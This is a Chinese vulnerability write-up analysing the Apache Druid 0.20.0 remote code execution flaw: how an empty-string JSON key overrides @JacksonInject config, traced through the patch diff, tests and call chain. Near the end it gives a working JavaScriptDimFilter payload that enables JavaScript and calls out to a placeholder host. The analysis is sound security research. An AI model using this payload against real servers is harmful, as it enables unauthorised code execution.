本文首发于先知社区:https://xz.aliyun.com/t/9229

背景

通过分析漏洞的原理,学习大佬的挖洞思路,以及根据commit和diff分析poc的构造思路。

一些前置的jackson注解相关知识

  • JacksonInject

    假设json字段有一些缺少的属性,转换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认值,这时候我们就可以用到这个注解了,它的功能就是在反序列化的时候将没有的字段设置为我们设置好的默认值

  • JsonProperty

    此注解用于属性上,作用是把该属性的名称序列化为另外一个名称

  • JsonValue

    可以用在get方法或者属性字段上,一个类只能用一个,当加上@JsonValue注解时,该类的json化结果,只有这个get方法的返回值,而不是这个类的属性键值对.

  • JsonCreator

    当json在反序列化时,默认选择类的无参构造函数创建类对象,没有无参构造函数时会报错,JsonCreator作用就是指定一个有参构造函数供反序列化时调用。 该构造方法的参数前面需要加上@JsonProperty,否则会报错。

  • JsonTypeInfo

    作用于类或接口,被用来处理多态类型的序列化及反序列化。

漏洞分析

先看GitHub上的diff

https://github.com/apache/druid/compare/0.20.0...0.20.1

commit记录不太多,且包含一些版本号更迭相关的commit记录,在commit记录中可以看到,这个commit记录最契合此次漏洞。

几个修改点

  • core/src/main/java/org/apache/druid/guice/DruidSecondaryModule.java#setupJackson

    这个函数的作用是给jackson的ObjectMapper 对象增加InjectableValues的值。用于处理jackson反序列化对象的JacksonInject注解。

    没有逻辑修改,只是函数封装了一下

  • core/src/main/java/org/apache/druid/guice/GuiceAnnotationIntrospector.java

    这个类改动很大,而且加了很多关键的注释。

    重写了一个方法findPropertyIgnorals,注释给出的解释是:

    这个方法用来在jackson反序列化中找到哪些属性需要忽略掉。jackson会在处理每一个类的每一个构造方法参数时调用这个方法。

    如果用户传入的属性有JsonProperty注解,则会返回JsonIgnoreProperties.Value.empty(),否则这个函数会返回JsonIgnoreProperties.Value.forIgnoredProperties(""),也就是不允许传入属性名为空的字段。
    在这个函数的内部也写了一段注释讲了为什么要写这个函数,翻译如下:
    我们在任何情况下都不应该允许空字段名。然而在Jackson的反序列化中就存在一个已知的bug忽略了这一点(详情见https://github.com/FasterXML/jackson-databind/issues/3022),这个bug导致了即使数组中都是合法的字段,依然会反序列化失败。为了解决这个bug,当接收到的属性带着JsonProperty 并且需要被反序列化时,我们返回了一个empty,这才是合理的,因为每一个带着JsonProperty 的属性都应该有一个不为空的名字,如果jackson修复了这个bug,我们就会移除这段函数检查。
    这个新函数也很简单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
      public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
    {
    if (ac instanceof AnnotatedParameter) {
    final AnnotatedParameter ap = (AnnotatedParameter) ac;
    if (ap.hasAnnotation(JsonProperty.class)) {
    return JsonIgnoreProperties.Value.empty();
    }
    }

    return JsonIgnoreProperties.Value.forIgnoredProperties("");
    }
    }

如果注解不继承AnnotatedParameter并且不带有JsonProperty,则会返回JsonIgnoreProperties.Value.forIgnoredProperties(“”),即忽略这个参数,这个函数默认的方式是直接返回JsonIgnoreProperties.Value.empty()

com.fasterxml.jackson.databind.AnnotationIntrospector.java

1
2
3
public Value findPropertyIgnorals(Annotated ac) {
return Value.empty();
}

光有这些信息,还是没有看清楚到底漏洞在哪,原因是对于jackson的这个bug理解不够。大概能理解的意思是,程序原本会反序列化所有字段,但是现在如果字段没有带有JsonProperty就会被忽略掉。

结合这次commit中的Test信息,能更清楚的看懂这个漏洞。

新增测试类core/src/test/java/org/apache/druid/guice/DruidSecondaryModuleTest.java。代码中包含了两个反序列化测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private static class ClassWithJacksonInject
{
private final String test;

private InjectedParameter injected;

@JsonCreator
public ClassWithJacksonInject(
@JsonProperty("test") String test,
@JacksonInject InjectedParameter injected
)
{
this.test = test;
this.injected = injected;
}

@JsonProperty
public String getTest()
{
return test;
}
}

private static class ClassWithEmptyProperty
{
private final String test;

private InjectedParameter injected;

@JsonCreator
public ClassWithEmptyProperty(
@JsonProperty("test") String test,
@JacksonInject @JsonProperty("") InjectedParameter injected
)
{
this.test = test;
this.injected = injected;
}

@JsonProperty
public String getTest()
{
return test;
}
}
}

在test中找用到了这两个类的方法

先看第一个,ClassWithJacksonInject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Test
public void testInjectWithAnEmptyPropertyNotOverrideInjection() throws JsonProcessingException
{
final Properties props = new Properties();
props.setProperty(PROPERTY_NAME, PROPERTY_VALUE);

final Injector injector = makeInjectorWithProperties(props);
final ObjectMapper mapper = makeObjectMapper(injector);
final String json = "{\"test\": \"this is an injection test\", \"\": \"nice try\" }";
final ClassWithJacksonInject object = mapper.readValue(json, ClassWithJacksonInject.class);
Assert.assertEquals("this is an injection test", object.test);
Assert.assertEquals(PROPERTY_VALUE, object.injected.val);
}

@Test
public void testInjectNormal() throws JsonProcessingException
{
final Properties props = new Properties();
props.setProperty(PROPERTY_NAME, PROPERTY_VALUE);

final Injector injector = makeInjectorWithProperties(props);
final ObjectMapper mapper = makeObjectMapper(injector);
final String json = "{\"test\": \"this is an injection test\" }";
final ClassWithJacksonInject object = mapper.readValue(json, ClassWithJacksonInject.class);
Assert.assertEquals("this is an injection test", object.test);
Assert.assertEquals(PROPERTY_VALUE, object.injected.val);
}

两个方法区别在第一个多了一个name为””的字段,在本地模拟一下,创建如下类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Student {

@JsonCreator
public Student(
@JsonProperty("name")String name,
@JacksonInject String trueName
){
this.name=name;
this.trueName=trueName;
}


private String trueName;
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}

public String getTrueName() {
return trueName;
}
public void setTrueName(String trueName) {
this.trueName = trueName;
}


}

构造方法中两个参数,一个带有JsonProperty注解一个带有JacksonInject 注解,按照druid的commit中的方法进行数据输入,带有JsonProperty标签的置值,并带一个””名字的数据

1
String json= "{\"name\":\"name is one\",\"\":\"trueName is two\"}";

结果是JacksonInject 标签的属性被置入了字段为””的值

接着测试第二种反序列化类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Student {

@JsonCreator
public Student(
@JsonProperty("name")String name,
@JacksonInject @JsonProperty("") String trueName
){
this.name=name;
this.trueName=trueName;
}


private String trueName;
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}

public String getTrueName() {
return trueName;
}
public void setTrueName(String trueName) {
this.trueName = trueName;
}


}

还是使用上面相同的payload发现也被成功置值。通过两个测试可以发现,jackson反序列化对象的JacksonInject 注解的属性会被名为""的字段填充。

漏洞触发

现在已知的利用点是可以利用””为键名将用户自定义的数据匹配到JacksonInject 注解修饰的字段中。

在druid中搜索@JacksonInject,匹配到的数据很多,https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw这篇文章中使用的是org.apache.druid.query.filter.JavaScriptDimFilter类,它的构造函数参数如下:

1
2
3
4
5
6
7
public JavaScriptDimFilter(
@JsonProperty("dimension") String dimension,
@JsonProperty("function") String function,
@JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
@JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
@JacksonInject JavaScriptConfig config
)

config变量原本应该由Druid重写的GuiceInjectableValues类控制,从配置文件中读取并传入,但是这里其实用户可控。在该类的toFilter方法获取到了由fuciton参数生成的JavaScriptPredicateFactory对象,这个对象是可以执行java代码的,在反序列化的过程中最终会调用。导致任意代码执行。

知道了漏洞原理,下一步分析一下如何触发漏洞。由于对druid框架也不是特别了解,因此无法做到完全从source往后分析,只能结合实际操作中的一些现象,以及下断点调试,猜测作者的漏洞利用思路

在druid中,load data模块有大量用户输入json的操作的地方,这个模块是用来向服务器上传数据的,选择example data

它会从云端加载一些示例数据,

点击next即可将数据粘贴到本地,接着配置下__time。

下一步的transform和filter则是漏洞触发的相关部分,快进到filter配置,因为我们的恶意类就是一个filter,如果该类能够反序列化,那么大概率是在这个步骤中实现

有部分filter的type可以选择,随便填写一下,此时点击next,同时F12抓包,可以看到向服务端query了这样一段数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "inline",
"data": "{\"isRobot\":true,\"channel\":\"#sv.wikipedia\",\"timestamp\":\"2016-06-27T00:00:11.080Z\",\"flags\":\"NB\",\"isUnpatrolled\":false,\"page\":\"Salo Toraut\",\"diffUrl\":\"https://sv.wikipedia.org/w/index.php?oldid=36099284&rcid=89369918\",\"added\":31,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":false,\"user\":\"Lsjbot\",\"deltaBucket\":0.0,\"deleted\":0,\"namespace\":\"Main\"}
"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso"
},
"dimensionsSpec": { },
"transformSpec": {
"transforms": [ ],
"filter": {
"type": "and",
"fields": [
{
"type": "selector",
"dimension": "123",
"value": ""
},
{
"type": "selector",
"dimension": "123",
"value": "123"
},
{
"type": "selector",
"dimension": "123",
"value": "123"
}
]
}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}

直接在源码中搜索filter类,发现它只是一个接口,没有相关实现,因此搜索其上一级transformSpec,从它的构造方法中可以看出该filter的处理类为DimFilter

1
2
3
4
5
@JsonCreator
public TransformSpec(
@JsonProperty("filter") final DimFilter filter,
@JsonProperty("transforms") final List<Transform> transforms
)

DimFilter类被添加了JsonTypeInfo和JsonSubTypes注解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes(value = {
@JsonSubTypes.Type(name = "and", value = AndDimFilter.class),
@JsonSubTypes.Type(name = "or", value = OrDimFilter.class),
@JsonSubTypes.Type(name = "not", value = NotDimFilter.class),
@JsonSubTypes.Type(name = "selector", value = SelectorDimFilter.class),
@JsonSubTypes.Type(name = "columnComparison", value = ColumnComparisonDimFilter.class),
@JsonSubTypes.Type(name = "extraction", value = ExtractionDimFilter.class),
@JsonSubTypes.Type(name = "regex", value = RegexDimFilter.class),
@JsonSubTypes.Type(name = "search", value = SearchQueryDimFilter.class),
@JsonSubTypes.Type(name = "javascript", value = JavaScriptDimFilter.class),
@JsonSubTypes.Type(name = "spatial", value = SpatialDimFilter.class),
@JsonSubTypes.Type(name = "in", value = InDimFilter.class),
@JsonSubTypes.Type(name = "bound", value = BoundDimFilter.class),
@JsonSubTypes.Type(name = "interval", value = IntervalDimFilter.class),
@JsonSubTypes.Type(name = "like", value = LikeDimFilter.class),
@JsonSubTypes.Type(name = "expression", value = ExpressionDimFilter.class),
@JsonSubTypes.Type(name = "true", value = TrueDimFilter.class),
@JsonSubTypes.Type(name = "false", value = FalseDimFilter.class)
})

可以看到,name为javascript时,就会使用JavaScriptDimFilter类进行处理,因此只需修改之前json数据中的filter字段中的type为javascript即可,并构造相应的poc即可。再进入JavaScriptDimFilter中,观察其构造函数

1
2
3
4
5
6
7
public JavaScriptDimFilter(
@JsonProperty("dimension") String dimension,
@JsonProperty("function") String function,
@JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
@JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
@JacksonInject JavaScriptConfig config
)

nullable的可以为空,其他三个参数,第一个没用,第二个为要执行的javascrpit代码,config为一个JavaScriptConfig 对象,只有一个布尔类型的参数

1
2
3
4
@JsonCreator
public JavaScriptConfig(
@JsonProperty("enabled") boolean enabled
)

因此构造filter字符串如下:

1
2
3
4
5
6
7
8
9
"filter": {
"type": "javascript",
"dimension": "123",
"function": "function(value) {new java.net.URL(\"IP\").openStream()}",
"": {
"enabled": true
}
}

其他

sink部分调用链

1
2
3
4
5
6
7
org.apache.druid.segment.transform.Transformer.transform()
org.apache.druid.segment.filter.PredicateValueMatcherFactory.matches()
JavaScriptDimFilter$JavaScriptPredicateFactory.makeStringPredicate()
JavaScriptDimFilter$JavaScriptPredicateFactory.lambad$makeStringPredicate()
JavaScriptDimFilter$JavaScriptPredicateFactory.applyObject()
JavaScriptDimFilter$JavaScriptPredicateFactory.applyInContext()
Function.call()

这里的函数调用并没有发生在JavaScriptDimFilter的反序列化过程中,反序列化中只进行了function等变量的赋值。javascript类的构造及触发发生在druid的后续处理流程,不过关键函数都还是在JavaScriptDimFilter中。

反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@JsonCreator
public JavaScriptDimFilter(
@JsonProperty("dimension") String dimension,
@JsonProperty("function") String function,
@JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
@JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
@JacksonInject JavaScriptConfig config
)
{
Preconditions.checkArgument(dimension != null, "dimension must not be null");
Preconditions.checkArgument(function != null, "function must not be null");
this.dimension = dimension;
this.function = function;
this.extractionFn = extractionFn;
this.filterTuning = filterTuning;
this.config = config;
}

filter实例化:

1
2
3
4
5
public Filter toFilter()
{
JavaScriptPredicateFactory predicateFactory = getPredicateFactory();
return new JavaScriptFilter(dimension, predicateFactory, filterTuning);
}
1
2
3
4
5
6
7
8
9
10
public JavaScriptFilter(
String dimension,
JavaScriptDimFilter.JavaScriptPredicateFactory predicate,
FilterTuning filterTuning
)
{
this.dimension = dimension;
this.predicateFactory = predicate;
this.filterTuning = filterTuning;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private JavaScriptPredicateFactory getPredicateFactory()
{
// JavaScript configuration should be checked when it's actually used because someone might still want Druid
// nodes to be able to deserialize JavaScript-based objects even though JavaScript is disabled.
Preconditions.checkState(config.isEnabled(), "JavaScript is disabled");

JavaScriptPredicateFactory syncedFnPredicateFactory = predicateFactory;
if (syncedFnPredicateFactory == null) {
synchronized (config) {
syncedFnPredicateFactory = predicateFactory;
if (syncedFnPredicateFactory == null) {
syncedFnPredicateFactory = new JavaScriptPredicateFactory(function, extractionFn);
predicateFactory = syncedFnPredicateFactory;
}
}
}
return syncedFnPredicateFactory;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public JavaScriptPredicateFactory(final String script, final ExtractionFn extractionFn)
{
Preconditions.checkNotNull(script, "script must not be null");
this.script = script;
this.extractionFn = extractionFn;

final Context cx = Context.enter();
try {
cx.setOptimizationLevel(9);
scope = cx.initStandardObjects();

fnApply = cx.compileFunction(scope, script, "script", 1, null);
}
finally {
Context.exit();
}
}

参考及引用

https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw

https://mp.weixin.qq.com/s/m7WLwJX-566WQ29Tuv7dtg

https://zhuanlan.zhihu.com/p/348944507